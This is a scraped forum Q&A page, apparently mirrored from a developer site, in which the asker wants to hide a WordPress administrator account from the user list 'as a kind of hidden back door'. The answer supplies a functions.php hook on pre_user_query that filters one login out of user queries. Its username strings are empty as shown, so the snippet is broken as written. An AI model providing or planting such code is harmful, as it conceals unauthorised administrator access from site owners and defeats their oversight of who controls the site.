Hide A Particular Admin Account From Wordpress User List

后端 未结 5 680
耶瑟儿~
耶瑟儿~ 2021-01-31 23:34

I\'d like to create an admin user in Wordpress and then hide it from the users list in the wordpress dashboard, as a kind of hidden back door. I am not trying to hide all admins

5条回答
  •  死守一世寂寞
    2021-02-01 00:06

    You can do this with a custom function in your functions.php. Here is an example :

    add_action('pre_user_query','yoursite_pre_user_query');
    function yoursite_pre_user_query($user_search) {
      global $current_user;
      $username = $current_user->user_login;
    
      if ($username == '') { 
        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
          "WHERE 1=1 AND {$wpdb->users}.user_login != ''",$user_search->query_where);
      }
    }
    

    Or you can use a plugin for this; http://wordpress.org/plugins/user-role-editor/

提交回复
热议问题